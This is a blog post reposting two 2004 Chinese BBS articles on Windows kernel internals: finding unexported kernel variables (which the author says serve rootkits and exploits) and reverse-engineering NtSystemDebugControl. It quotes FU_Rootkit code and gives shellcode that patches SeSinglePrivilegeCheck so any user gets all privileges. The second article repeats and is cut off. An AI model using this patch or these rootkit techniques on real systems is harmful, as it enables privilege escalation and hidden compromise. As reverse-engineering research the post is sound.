Sunday, February 13, 2005

 

Some notes on Win32 native API

1.
发信人: tombkeeper (妇科圣手), 信区: MSDN
标 题: 获取Windows 系统的内核变量
发信站: BBS 水木清华站 (Thu Aug 5 16:24:27 2004), 站内

获取Windows 系统的内核变量


作 者:于旸
邮 件:tombkeeper[0x40]nsfocus[0x2e]com
tombkeeper[0x40]xfocus[0x2e]org
完成于:2004.07.30
关键字:PsLoadedModuleList、PsActiveProcessHead、NtSystemDebugControl
PsNtosImageBase、KdVersionBlock、KdDebuggerDataBlock、内核变量



PsLoadedModuleList等重要内核变量并未被ntoskrnl.exe导出,也没有公开的函
数可以获取。而这些内核变量对于Rootkit、Anti-Rootkit 以及内核溢出的利用等都
是至关重要的。

下面我们以PsLoadedModuleList、PsActiveProcessHead 等为例,介绍得到这些
变量的方法。

对于Windows NT 4.0和Windows 2000,尚没有“温柔”的办法可以获取这些变量,
比较理想的办法也就是特征代码搜索,这种方法虽然暴力,但通常都很有效,一般也
不会出问题;对于Windows XP和Windows 2003,我们找到了一些更加优雅的选择。

下面首先介绍特征代码搜索的方法。

[DWORD KernelBase]

要进行特征代码搜索,首先要定位ntoskrnl.exe在内核的加载地址KernelBase。
这个地址可以通过ZwQuerySystemInformation Class 10的SystemModuleInformation
来得到。参考资源[1]中给出了相关代码。事实上,KernelBase 这个值对同一操作系
统来说非常固定,可以作为常量来用:

Windows NT: 0x80100000
Windows 2000:0x80400000
Windows XP: 0x804d1000
Windows 2003: 0x804e0000

Windows NT 4.0 ntoskrnl.exe 的OptionalHeader->ImageBase = 0x80100000,
ntldr 也会按照这个值来加载内核,但是从Windows 2000开始就不是这样了。可能基
于这个历史原因,各系统的*(DWORD *)PsNtosImageBase始终初始化为0x80100000。

另外,内核变量PsNtosImageBase、KdpNtosImageBase等也指向KernelBase:

KernelBase = *(DWORD *)PsNtosImageBase
KernelBase = *(DWORD *)KdpNtosImageBase

[LIST_ENTRY PsLoadedModuleList]

PsLoadedModuleList这个全局变量指向一个保存着所加载驱动信息的双向链表。
通过它可以枚举系统中所有的驱动模块。

虽然很多内核函数都用到了PsLoadedModuleList,但是大部分并没有被导出,而
从基址开始搜会很花时间。对于Windows 2000来说,从下面这个地方入手是个好主意:

nt!MmGetSystemRoutineAddress+0x66:
804f0ed0 8b35f0e84680 mov esi,[nt!PsLoadedModuleList (8046e8f0)]
804f0ed6 81fef0e84680 cmp esi,0x8046e8f0

流程如下:
1、ImageBase = LoadLibraryA("ntoskrnl.exe")
2、GetProcAddress(ImageBase,"MmGetSystemRoutineAddress")
3、搜索特征代码:
*(WORD *)(MmGetSystemRoutineAddress + i) = 0x358b && *(WORD *)(MmGetSystemRoutineAddress + i + 6) = 0xfe81
&&
*(DWORD *)(MmGetSystemRoutineAddress + i + 2) == *(DWORD *)(MmGetSystemRoutineAddress + i + 8)
4、定位内核中的地址:
PsLoadedModuleList = *(DWORD *)(MmGetSystemRoutineAddress + i + 2) + (KernelBase - ImageBase)

从SP0到SP4,i值并不相同,但是肯定不大于0x100。

对Windows NT来说,就没这么好运气了,没有理想的可用于定位的API,只能从头
开始搜索。下面这段代码至少对SP1~SP6a的来说都具有很好的稳定性和唯一性:
801CEB1C: 8B 4D 08 mov ecx,dword ptr [ebp+8]
801CEB1F: 89 01 mov dword ptr [ecx],eax
801CEB21: 8B 45 0C mov eax,dword ptr [ebp+0Ch]
801CEB24: 89 10 mov dword ptr [eax],edx
801CEB26: 8B 36 mov esi,dword ptr [esi]
801CEB28: 81 FE 70 0B 15 80 cmp esi,80150B70h //PsLoadedModuleList

如果是用驱动做这件事情,就不必暴力搜索了,fuzen_op(fuzen_op@yahoo.com)
在FU_Rootkit2.0(参考资源[2])中使用了一段比较巧妙的代码:

DWORD FindPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject)
{
PMODULE_ENTRY pm_current;
if (DriverObject == NULL)
return 0;

pm_current = *((PMODULE_ENTRY*)((DWORD)DriverObject + 0x14));
if (pm_current == NULL)
return 0;

gul_PsLoadedModuleList = pm_current;

while ((PMODULE_ENTRY)pm_current->le_mod.Flink != gul_PsLoadedModuleList)
{
if ((pm_current->unk1 == 0x00000000) && (pm_current->driver_Path.Length == 0))
{
return (DWORD) pm_current;
}
pm_current = (MODULE_ENTRY*)pm_current->le_mod.Flink;
}

return 0;
}

[LIST_ENTRY PsActiveProcessHead]

理论上PsActiveProcessHead 也可以用搜索代码的方法来取,但是还有更简单的
方法。

ntoskrnl.exe导出的PsInitialSystemProcess 是一个PEPROCESS,指向system进
程的EPROCESS。这个EPROCESS的结构成员EPROCESS.ActiveProcessLinks.Blink 就是
PsActiveProcessHead:

kd> dt _EPROCESS ActiveProcessLinks.Blink poi(PsInitialSystemProcess)
+0x0a0 ActiveProcessLinks : [ 0x81356900 - 0x8046e728 ]
+0x004 Blink : 0x8046e728 [ 0x81a2fb00 - 0xff5a4ce0 ]
kd> ? PsActiveProcessHead
Evaluate expression: -2142836952 = 8046e728

EPROCESS这个结构在不同的操作系统上各不相同,需要分别对待。

[struct _KDDEBUGGER_DATA64 KdDebuggerDataBlock]

Windows 2000 开始,系统引入了变量KdDebuggerDataBlock。其中包含了大量的
内核变量。如果能够获取到的话,可以解决许多问题。遗憾的是,Windows NT上没有
这个变量。WinDBG SDK的wdbgexts.h中包含了它的结构:
typedef struct _KDDEBUGGER_DATA64
因为比较长,这里就不引用了。

从对5.0.2195.6902版本ntoskrnl.exe 的逆向工程结果来看,只有两个函数使用
了该变量,并且,两个函数都未导出,且代码前后没有明显特征,无法靠直接搜索代
码来获取。

但是,我们发现,ntoskrnl.exe导出了KdEnableDebugger,KdEnableDebugger会
调用KdInitSystem,而KdInitSystem 中引用了KdDebuggerDataBlock:

n < 100

Windows 2000:

KdEnableDebugger + n:
6A 00 push 0
6A 00 push 0
C6 05 28 41 48 00 01 mov _PoHiberInProgress, 1
E8 1C DC 10 00 call _KdInitSystem@8 ; KdInitSystem(x,x)

KdInitSystem + n:
68 70 02 00 00 push 270h // sizeof(KdDebuggerDataBlock)
B9 50 D1 54 00 mov ecx, offset _KdpDebuggerDataListHead
68 D8 FA 46 00 push offset KdDebuggerDataBlock
8B 40 18 mov eax, [eax+18h]
68 4B 44 42 47 push 4742444Bh // "KDBG",可以用作搜索的定位标志
A3 3C D1 54 00 mov ds:_KdpNtosImageBase, eax
89 0D 54 D1 54 00 mov ds:dword_54D154, ecx
89 0D 50 D1 54 00 mov ds:_KdpDebuggerDataListHead, ecx

Windows XP

KdEnableDebugger + n:
6A 00 push 0
6A 00 push 0
C6 05 8C 98 47 00 01 mov _PoHiberInProgress, 1
E8 2B 17 13 00 call _KdInitSystem@8 ; KdInitSystem(x,x)

KdInitSystem + n:
68 90 02 00 00 push 290h
68 E0 9D 46 00 push offset KdDebuggerDataBlock
BE 74 96 59 00 mov esi, offset _KdpDebuggerDataListHead
68 4B 44 42 47 push 4742444Bh
89 35 78 96 59 00 mov ds:dword_599678, esi
89 35 74 96 59 00 mov ds:_KdpDebuggerDataListHead, esi

Windows 2003

KdEnableDebugger + n:
56 push esi
56 push esi
C6 05 0C 08 49 00 01 mov PoHiberInProgres, 1
E8 CB AD 15 00 call _KdInitSystem@8 ; KdInitSystem(x,x)

KdInitSystem + n:
68 18 03 00 00 push 318h
68 D0 A3 47 00 push offset KdDebuggerDataBlock
BE 18 10 5D 00 mov esi, offset _KdpDebuggerDataListHead
68 4B 44 42 47 push 4742444Bh
89 35 1C 10 5D 00 mov ds:dword_5D101C, esi
89 35 18 10 5D 00 mov ds:_KdpDebuggerDataListHead, esi

可以看出,上面代码特征的唯一性很好。用于搜索是没有问题的。我在上面同时
列出了三个系统的代码,仅仅只是为了比较,事实上,对Windows XP和Windows 2003
是完全没有必要采取如此暴力手段的。



下面介绍针对Windows XP和Windows 2003的方法。

[struct _DBGKD_GET_VERSION64 KdVersionBlock]

Opc0de和Edgar Barbosa在参考资源[3]中提到,Windows XP和Windows 2003引入
的一个新内核变量:KdVersionBlock,其结构中包含了PsLoadedModuleList。

WinDBG SDK的wdbgexts.h中有KdVersionBlock的结构:

typedef struct _DBGKD_GET_VERSION64 {
USHORT MajorVersion;
USHORT MinorVersion;
USHORT ProtocolVersion;
USHORT Flags;
USHORT MachineType;
UCHAR MaxPacketType;
UCHAR MaxStateChange;
UCHAR MaxManipulate;
UCHAR Simulation;
USHORT Unused[1];
ULONG64 KernBase;
ULONG64 PsLoadedModuleList;
ULONG64 DebuggerDataList;

} DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;

KdVersionBlock是KPCR的一个成员:

lkd> dt _kpcr ffdff000
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : 0xf717dbcc
+0x004 Used_StackBase : (null)
+0x008 PerfGlobalGroupMask : (null)
+0x00c TssCopy : 0x80042000
+0x010 ContextSwitches : 0x1f8b07a
+0x014 SetMemberCopy : 1
+0x018 Used_Self : 0x7ffde000
+0x01c SelfPcr : 0xffdff000
+0x020 Prcb : 0xffdff120
+0x024 Irql : 0x2 '
+0x028 IRR : 0
+0x02c IrrActive : 0
+0x030 IDR : 0xffff24e0
+0x034 KdVersionBlock : 0x8055a3a8 <--
+0x038 IDT : 0x8003f400
+0x03c GDT : 0x8003f000
+0x040 TSS : 0x80042000
+0x044 MajorVersion : 1
+0x046 MinorVersion : 1
+0x048 SetMember : 1
+0x04c StallScaleFactor : 0x64
+0x050 SpareUnused : 0 '
+0x051 Number : 0 '
+0x052 Spare0 : 0 '
+0x053 SecondLevelCacheAssociativity : 0x8 '
+0x054 VdmAlert : 0
+0x058 KernelReserved : [14] 0
+0x090 SecondLevelCacheSize : 0x80000
+0x094 HalReserved : [16] 0
+0x0d4 InterruptMode : 0
+0x0d8 Spare1 : 0 '
+0x0dc KernelReserved2 : [17] 0
+0x120 PrcbData : _KPRCB

Windows 2000和NT的KPCR是没有这个成员的:

kd> dt _kpcr ffdff000
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x01c SelfPcr : 0xffdff000
+0x020 Prcb : 0xffdff120
+0x024 Irql : 0 '
+0x028 IRR : 0
+0x02c IrrActive : 0
+0x030 IDR : 0xffffffff
+0x034 Reserved2 : 0 <--
+0x038 IDT : 0x80036400
+0x03c GDT : 0x80036000
+0x040 TSS : 0x802a4000
+0x044 MajorVersion : 1
+0x046 MinorVersion : 1
+0x048 SetMember : 1
+0x04c StallScaleFactor : 0x64
+0x050 DebugActive : 0 '
+0x051 Number : 0 '
+0x052 VdmAlert : 0 '
+0x053 Reserved : [1] ""
+0x054 KernelReserved : [15] 0
+0x090 SecondLevelCacheSize : 0
+0x094 HalReserved : [16] 0
+0x0d4 InterruptMode : 0
+0x0d8 Spare1 : 0 '
+0x0dc KernelReserved2 : [17] 0
+0x120 PrcbData : _KPRCB

KPCR 在各版本Windows系统上的值都是固定的0xffdff000,这就给我们提供了另
一个获得PsLoadedModuleList的方法:

#define KPCR 0xffdff000
PsLoadedModuleList = *(DWORD *)( *(DWORD *)(KPCR+0x34)+0x18 )

KdVersionBlock的结构成员DebuggerDataList实际就是KdpDebuggerDataListHead,
而:
KdpDebuggerDataListHead.Flink = KdDebuggerDataBlock
KdpDebuggerDataListHead.Blink = KdDebuggerDataBlock

也就是说,得到KdVersionBlock也就获得了KdDebuggerDataBlock。


[利用NtSystemDebugControl获取KdVersionBlock]

Windows XP 和Windows 2003上,kd在使用“-kl”参数本地运行的时候,即使没
有加载符号表,依然能够给出正确的PsLoadedModuleList:

Windows Server 2003 Kernel Version 3790 UP Free x86 compatible
Product: Server, suite: TerminalServer SingleUserTS
Built by: 3790.srv03_rtm.030324-2048
Kernel base = 0x804e0000 PsLoadedModuleList = 0x8056ac08

显然,Windows 5.1 以上版本提供了获取PsLoadedModuleList和KernelBase的机
制。用WinDBG对kd进行调试(煮豆燃豆萁……)发现,dbgeng.dll调用一个未文档化
的Native API NtSystemDebugControl,获取了上文提到的 KdVersionBlock。调用过
程如下:

dbgeng!DebugClient::WaitForEvent
dbgeng!RawWaitForEvent
dbgeng!WaitForAnyTarget
dbgeng!LocalLiveKernelTargetInfo::WaitForEvent
dbgeng!LiveKernelTargetInfo::InitFromKdVersion
dbgeng!LocalLiveKernelTargetInfo::GetTargetKdVersion
ntdll!NtSystemDebugControl

对于NtSystemDebugControl,除了BUGTRAQ ID 9694 的一个漏洞报告外,在互联
网上找不到任何相关信息。(事实上,作者报告的问题是不能称之为漏洞的,因为,
要执行这个API,必须拥有SeDebugPrivilege 特权,而正常情况下,只有管理员用户
才有该特权。关于该漏洞,见参考资源[4])。

逆向工程的结果显示,在Windows XP和Windows 2003上,NtSystemDebugControl
的功能号7将调用内部函数KdpSysGetVersion:
; __stdcall KdpSysGetVersion(x)

arg_0 = dword ptr 0Ch

push esi
push edi
mov edi, [esp+arg_0]
push 0Ah
pop ecx
mov esi, offset _KdVersionBlock
rep movsd
pop edi
pop esi
retn 4

利用NtSystemDebugControl,可以非常优雅地得到KdVersionBlock:

typedef enum _DEBUG_CONTROL_CODE {
DebugGetKdVersionBlock = 7
} DEBUG_CONTROL_CODE;

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl(
DebugGetKdVersionBlock,
NULL,
0,
&KdVersionBlock,
sizeof(KdVersionBlock),
NULL
);

printf ("KernBase: 0x%.8x\n",KdVersionBlock.KernBase);
printf ("PsLoadedModuleList: 0x%.8x\n",KdVersionBlock.PsLoadedModuleList);
printf ("DebuggerDataList: 0x%.8x\n",KdVersionBlock.DebuggerDataList);

除了获取KdVersionBlock之外,NtSystemDebugControl还有很多强大的功能,我
将在另外一篇文档中详细介绍。

现在总结一下。

对Windows 2000来说,最重要的是搜索代码,得到 KdDebuggerDataBlock,得到
了这个,实际上也就得到了PsLoadedModuleList、PsActiveProcessHead等。

对Windows XP和Windows 2003,最佳的办法是直接利用NtSystemDebugControl得
到KdVersionBlock,然后取得KdDebuggerDataBlock。


参考资源:

[1]内核级HOOK的几种实现与应用
http://www.xfocus.net/articles/200303/499.html

[2]FU_Rootkit 2.0
https://www.rootkit.com/vault/fuzen_op/FU_Rootkit.zip

[3] Finding some non-exported kernel variables in Windows XP
http://www.rootkit.com/vault/Opc0de/GetVarXP.pdf

[4]Microsoft Windows NtSystemDebugControl() Kernel API Function Privilege
Escalation Vulnerability
http://www.securityfocus.com/bid/9694


--
本来删贴这个事儿是个很美好的事儿,你们现在非要把他当成个丑闻,要把斑竹弄得身败名裂……

※ 来源:·BBS 水木清华站 http://smth.org·[FROM: 211.167.254.*]

发信人: tombkeeper (妇科圣手), 信区: MSDN
标 题: 对Native API NtSystemDebugControl的分析
发信站: BBS 水木清华站 (Thu Aug 5 16:24:58 2004), 站内

对Native API NtSystemDebugControl的分析

作 者:于旸
邮 件:tombkeeper[0x40]nsfocus[0x2e]com
tombkeeper[0x40]xfocus[0x2e]org
完成于:2004.08.04
关键字:NtSystemDebugControl、ZwSystemDebugControl、读写内核空间、读写MSR、
读写物理内存、读写IO端口、读写总线数据、KdVersionBlock


在《获取Windows 系统的内核变量》中,我提及了在Windows NT 5.1以上的系统
中存在一个功能强大的 Native API NtSystemDebugControl,下面我们来看看它到底
有多强大。

NtSystemDebugControl是Windows NT系列操作系统上实现的一个系统调用,在不
同系统上的调用号分别为:

Windows NT 0xba
Windows 2000 0xde
Windows XP 0xff
Windows 2003 0x108

这是一个未文档化的 API,《Windows NT/2000 Native API Reference》中有相
关介绍。官方定义可以在一个微软的private头文件ntexapi.h中找到。该文件中还包
含很多其它内部数据结构。可能Windows NT 4的SDK中还曾经有过这个文件(至少NT4
ResourceKit的支持文档里面是这样说的),但现在似乎微软只提供给它的合作伙伴。
好在NTKernel新闻组上有一个“very kind person”共享了这个头文件,你可以从参
考资源[2]的两个链接中得到它。

这就是ntexapi.h中的定义:

typedef enum _SYSDBG_COMMAND {
SysDbgQueryTraceInformation = 1, //KdGetTraceInformation()
SysDbgSetTracepoint = 2, //KdSetInternalBreakpoint()
SysDbgSetSpecialCall = 3, //KdSetSpecialCall()
SysDbgClearSpecialCalls = 4, //KdClearSpecialCalls()
SysDbgQuerySpecialCalls = 5, //KdQuerySpecialCalls()
SysDbgQueryModuleInformation //ntexapi.h中有,但实际上未实现
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

NTSYSAPI
NTSTATUS
NTAPI
NtSystemDebugControl (
IN SYSDBG_COMMAND Command,
IN PVOID InputBuffer,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer,
IN ULONG OutputBufferLength,
OUT PULONG ReturnLength
);

从上面可以看出,Windows NT和Windows 2000上的NtSystemDebugControl通过不
同的第一形参可调用五个内核函数,实现相关功能。

NtSystemDebugControl在Windows NT和Windows 2000上的功能还是比较简陋的,
《Windows NT/2000 Native API Reference》一书对这些已经介绍的很详细了,本文
不再赘述。

从Windows NT 5.1内核(Windows XP)开始,NtSystemDebugControl的功能被极
大扩增了。根据逆向工程的结果来看,在Windows XP上NtSystemDebugControl的第一
形参可接受 20个不同的功能调用,在Windows 2003上则有28个。

关于NtSystemDebugControl在Windows NT 5.1以上的实现,互联网上唯一能找到
的资料是BUGTRAQ ID 9694关于该 API的一个漏洞报告(参考资源[1]),事实上,这
个所谓漏洞是不能称之为漏洞的,因为调用这个API需要SeDebugPrivilege 特权,普
通用户根本执行不了,也就谈不上权限提升。

下面的enum是我逆向工程的结果,绝大部分经过测试:

typedef enum _SYSDBG_COMMAND {
//以下5个在Windows NT各个版本上都有
SysDbgGetTraceInformation = 1,
SysDbgSetInternalBreakpoint = 2,
SysDbgSetSpecialCall = 3,
SysDbgClearSpecialCalls = 4,
SysDbgQuerySpecialCalls = 5,

// 以下是NT 5.1 新增的
SysDbgDbgBreakPointWithStatus = 6,

//获取KdVersionBlock
SysDbgSysGetVersion = 7,

//从内核空间拷贝到用户空间,或者从用户空间拷贝到用户空间
//但是不能从用户空间拷贝到内核空间
SysDbgCopyMemoryChunks_0 = 8,
//SysDbgReadVirtualMemory = 8,

//从用户空间拷贝到内核空间,或者从用户空间拷贝到用户空间
//但是不能从内核空间拷贝到用户空间
SysDbgCopyMemoryChunks_1 = 9,
//SysDbgWriteVirtualMemory = 9,

//从物理地址拷贝到用户空间,不能写到内核空间
SysDbgCopyMemoryChunks_2 = 10,
//SysDbgReadVirtualMemory = 10,

//从用户空间拷贝到物理地址,不能读取内核空间
SysDbgCopyMemoryChunks_3 = 11,
//SysDbgWriteVirtualMemory = 11,

//读写处理器相关控制块
SysDbgSysReadControlSpace = 12,
SysDbgSysWriteControlSpace = 13,

//读写端口
SysDbgSysReadIoSpace = 14,
SysDbgSysWriteIoSpace = 15,

//分别调用RDMSR@4和_WRMSR@12
SysDbgSysReadMsr = 16,
SysDbgSysWriteMsr = 17,

//读写总线数据
SysDbgSysReadBusData = 18,
SysDbgSysWriteBusData = 19,

SysDbgSysCheckLowMemory = 20,

// 以下是NT 5.2 新增的

//分别调用_KdEnableDebugger@0和_KdDisableDebugger@0
SysDbgEnableDebugger = 21,
SysDbgDisableDebugger = 22,

//获取和设置一些调试相关的变量
SysDbgGetAutoEnableOnEvent = 23,
SysDbgSetAutoEnableOnEvent = 24,
SysDbgGetPitchDebugger = 25,
SysDbgSetDbgPrintBufferSize = 26,
SysDbgGetIgnoreUmExceptions = 27,
SysDbgSetIgnoreUmExceptions = 28
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

从上面可以看出,在Windows NT 5.1以上的NtSystemDebugControl可以实现读写
内核线性空间数据、读写物理内存、读写端口、读写总线数据、读写MSR 等功能;在
Windows NT 5.2以上还可以在系统运行状态下使能、禁用内核调试以及获取、设置一
些相关变量等。

显然,从Windows XP开始,我们再次获得了MS DOS时代直接操纵系统的权杖,戴
着桂冠,重新回到了奥林匹斯山之巅。

下面举几个具体应用的例子。

例子1:

下面代码演示读取KdVersionBlock:

//------------------------------------------------------------------------
typedef struct _DBGKD_GET_VERSION64 {
USHORT MajorVersion;
USHORT MinorVersion;
USHORT ProtocolVersion;
USHORT Flags;
USHORT MachineType;
UCHAR MaxPacketType;
UCHAR MaxStateChange;
UCHAR MaxManipulate;
UCHAR Simulation;
USHORT Unused[1];
ULONG64 KernBase;
ULONG64 PsLoadedModuleList;
ULONG64 DebuggerDataList;
} DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;

DBGKD_GET_VERSION64 KdVersionBlock;

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
SysDbgSysGetVersion,
NULL,
0,
&KdVersionBlock,
sizeof(KdVersionBlock), //必须是0x28
NULL
);

printf ("KernBase: 0x%.8x\n",KdVersionBlock.KernBase);
printf ("PsLoadedModuleList: 0x%.8x\n",KdVersionBlock.PsLoadedModuleList);
printf ("DebuggerDataList: 0x%.8x\n",KdVersionBlock.DebuggerDataList);
//------------------------------------------------------------------------

例子2:

下面代码演示读取内核空间数据的操作,这里读取的是Windows 2003内核映像的
头两个字节,也就是“MZ”。

//------------------------------------------------------------------------
typedef struct _MEMORY_CHUNKS {
ULONG Address;
PVOID Data;
ULONG Length;
}MEMORY_CHUNKS, *PMEMORY_CHUNKS;

MEMORY_CHUNKS QueryBuff;
ULONG ReturnLength;
char Buff[0x2] = {0};

QueryBuff.Address = 0x804e0000; //Windows 2003的KernBase
QueryBuff.Data = Buff; //在此是读出缓冲
QueryBuff.Length = sizeof(Buff);

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
SysDbgCopyMemoryChunks_0,
&QueryBuff,
sizeof(MEMORY_CHUNKS), //必须是0x0C
NULL,
0,
&ReturnLength
);

printf (""MZ": %s\n",Buff);
//------------------------------------------------------------------------

例子3:

下面是一个使用NtSystemDebugControl的SysDbgCopyMemoryChunks_1功能实现的
Patch内核的ShellCode,把0x80580e66由原来的8a450c改为90b001:

修改前:

nt!SeSinglePrivilegeCheck+0x5c:
80580e66 8a450c mov al,[ebp+0xc]
80580e69 c9 leave
80580e6a c20c00 ret 0xc

修改后:
nt!SeSinglePrivilegeCheck+0x5c:
80580e66 90 nop
80580e67 b001 mov al,0x1
80580e69 c9 leave
80580e6a c20c00 ret 0xc

这样,SeSinglePrivilegeCheck总是返回True,也就是说,无论哪个用户,总是
拥有全部系统特权。

\xeb\x09\x66\xb8\x08\x01\x8b\xd4\x0f\x34\xc3\x68\x90\xb0\x01\xc9
\x8b\xc4\x6a\x04\x50\x68\x66\x0e\x58\x80\x54\x5b\x33\xc0\x50\x54
\x50\x50\x6a\x0c\x53\x6a\x09\x50\xe8\xd5\xff\xff\xff\x83

//------------------------------------------------------------------------
#pragma comment(linker, "/entry:main /ALIGN:4096" )
#pragma comment(lib, "kernel32.lib")

#define sysenter __asm __emit 0x0f __asm __emit 0x34

void main(void)
{
__asm
{
int 3 //debug
jmp patch

SystemDebugControl:

mov ax,0x108
mov edx,esp
sysenter
ret

patch:

push 0xc901b090
mov eax,esp
push 0x04
push eax
push 0x80580e66
push esp
pop ebx
xor eax,eax
push eax
push esp //ReturnLength
push eax //OutputBufferLength
push eax //OutputBuffer
push 0x0c //InputBufferLength
push ebx //InputBuffer
push 0x09 //ControlCode
push eax //for sysenter ret
call SystemDebugControl
add esp,0x30 //只是为了修正堆栈
}
}
//------------------------------------------------------------------------

上面只是一个概念代码,使用的Patch地址是固定的,对5.2.3790.0 版本的内核
有效。由于调用NtSystemDebugControl 要SeDebugPrivilege,所以这段ShellCode需
要在LocalSystem 的身份的进程空间运行,或者自己增加SeDebugPrivilege。最简单
的办法就是在WinDBG中执行。

例子4:

下面是一段完整的代码,利用NtSystemDebugControl读写端口的能力,直接操纵
PC Speaker发声:

//------------------------------------------------------------------------
//演示用ZwSystemDebugControl读写端口使PC Speaker发声
//tombkeeper 2004.08.03

#include
#include

#pragma comment(lib, "advapi32")

#define NTAPI __stdcall
#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}

typedef int NTSTATUS;

typedef enum _SYSDBG_COMMAND
{
SysDbgSysReadIoSpace = 14,
SysDbgSysWriteIoSpace = 15
}SYSDBG_COMMAND, *PSYSDBG_COMMAND;

typedef NTSTATUS (NTAPI * PZwSystemDebugControl) (
SYSDBG_COMMAND ControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength,
PULONG ReturnLength
);

PZwSystemDebugControl ZwSystemDebugControl = NULL;

typedef struct _IO_STRUCT
{
DWORD IoAddr; // IN: Aligned to NumBYTEs,I/O address
DWORD Reserved1; // Never accessed by the kernel
PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer
DWORD NumBYTEs; // IN: # BYTEs to read/write. Only use 1, 2, or 4.
DWORD Reserved4; // Must be 1
DWORD Reserved5; // Must be 0
DWORD Reserved6; // Must be 1
DWORD Reserved7; // Never accessed by the kernel
}
IO_STRUCT, *PIO_STRUCT;

BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;

TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);

OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);

AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
rv = GetLastError () == ERROR_SUCCESS;

CloseHandle (hToken);
return rv;
}

BYTE InPortB (int Port)
{
BYTE Value;
IO_STRUCT io;

io.IoAddr = Port;
io.Reserved1 = 0;
io.pBuffer = (PVOID) (PULONG) & Value;
io.NumBYTEs = sizeof (BYTE);
io.Reserved4 = 1;
io.Reserved5 = 0;
io.Reserved6 = 1;
io.Reserved7 = 0;

ZwSystemDebugControl
(
SysDbgSysReadIoSpace,
&io,
sizeof (io),
NULL,
0,
NULL
);
return Value;
}

void OutPortB (int Port, BYTE Value)
{
IO_STRUCT io;

io.IoAddr = Port;
io.Reserved1 = 0;
io.pBuffer = (PVOID) (PULONG) & Value;
io.NumBYTEs = sizeof (BYTE);
io.Reserved4 = 1;
io.Reserved5 = 0;
io.Reserved6 = 1;
io.Reserved7 = 0;

ZwSystemDebugControl
(
SysDbgSysWriteIoSpace,
&io,
sizeof (io),
NULL,
0,
NULL
);
};

void BeepOn (int Freq)
{
BYTE b;

if ((Freq >= 20) && (Freq <= 20000))
{
Freq = 1193181 / Freq;
b = InPortB (0x61);
if ((b & 3) == 0)
{
OutPortB (0x61, (BYTE) (b | 3));
OutPortB (0x43, 0xb6);
}
OutPortB (0x42, (BYTE) Freq);
OutPortB (0x42, (BYTE) (Freq >> 8));
}
}

void BeepOff (void)
{
BYTE b;

b = (InPortB (0x61) & 0xfc);
OutPortB (0x61, b);
}

int main (void)
{
HMODULE hNtdll;
ULONG ReturnLength;
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);

EnablePrivilege (SE_DEBUG_NAME);

FCHK ((hNtdll = LoadLibrary ("ntdll.dll")) != NULL);
FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl)
GetProcAddress (hNtdll, "ZwSystemDebugControl")) != NULL);
FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);

if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&
OSVersionInfo.dwMajorVersion >= 5 &&
OSVersionInfo.dwMinorVersion >= 1) //Windows XP以上
{
BeepOn (1000); //声音频率1000Hz
Sleep (1000);
BeepOff ();
}
else
{
printf ("This program require Windows XP or Windows 2003.\n");
}
return 0;
}
//------------------------------------------------------------------------


参考资源:

[1]Microsoft Windows NtSystemDebugControl() Kernel API Function Privilege
Escalation Vulnerability
http://www.securityfocus.com/bid/9694

[2]ntexapi.h
http://www.codeguru.com/code/legacy/system/ntexapi.zip
http://void.ru/files/Ntexapi.h

--
本来删贴这个事儿是个很美好的事儿,你们现在非要把他当成个丑闻,要把斑竹弄得身败名裂……

※ 来源:·BBS 水木清华站 http://smth.org·[FROM: 211.167.254.*]

2.
对Native API NtSystemDebugControl的分析

创建时间:2004-08-05
文章属性:原创
文章提交:tombkeeper (t0mbkeeper_at_hotmail.com)

对Native API NtSystemDebugControl的分析

作 者:于旸
邮 件:tombkeeper[0x40]nsfocus[0x2e]com
tombkeeper[0x40]xfocus[0x2e]org
完成于:2004.08.04
关键字:NtSystemDebugControl、ZwSystemDebugControl、读写内核空间、读写MSR、
读写物理内存、读写IO端口、读写总线数据、KdVersionBlock


在《获取Windows 系统的内核变量》中,我提及了在Windows NT 5.1以上的系统
中存在一个功能强大的 Native API NtSystemDebugControl,下面我们来看看它到底
有多强大。

NtSystemDebugControl是Windows NT系列操作系统上实现的一个系统调用,在不
同系统上的调用号分别为:

Windows NT 0xba
Windows 2000 0xde
Windows XP 0xff
Windows 2003 0x108

这是一个未文档化的 API,《Windows NT/2000 Native API Reference》中有相
关介绍。官方定义可以在一个微软的private头文件ntexapi.h中找到。该文件中还包
含很多其它内部数据结构。可能Windows NT 4的SDK中还曾经有过这个文件(至少NT4
ResourceKit的支持文档里面是这样说的),但现在似乎微软只提供给它的合作伙伴。
好在NTKernel新闻组上有一个“very kind person”共享了这个头文件,你可以从参
考资源[2]的两个链接中得到它。

这就是ntexapi.h中的定义:

typedef enum _SYSDBG_COMMAND {
SysDbgQueryTraceInformation = 1, //KdGetTraceInformation()
SysDbgSetTracepoint = 2, //KdSetInternalBreakpoint()
SysDbgSetSpecialCall = 3, //KdSetSpecialCall()
SysDbgClearSpecialCalls = 4, //KdClearSpecialCalls()
SysDbgQuerySpecialCalls = 5, //KdQuerySpecialCalls()
SysDbgQueryModuleInformation //ntexapi.h中有,但实际上未实现
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

NTSYSAPI
NTSTATUS
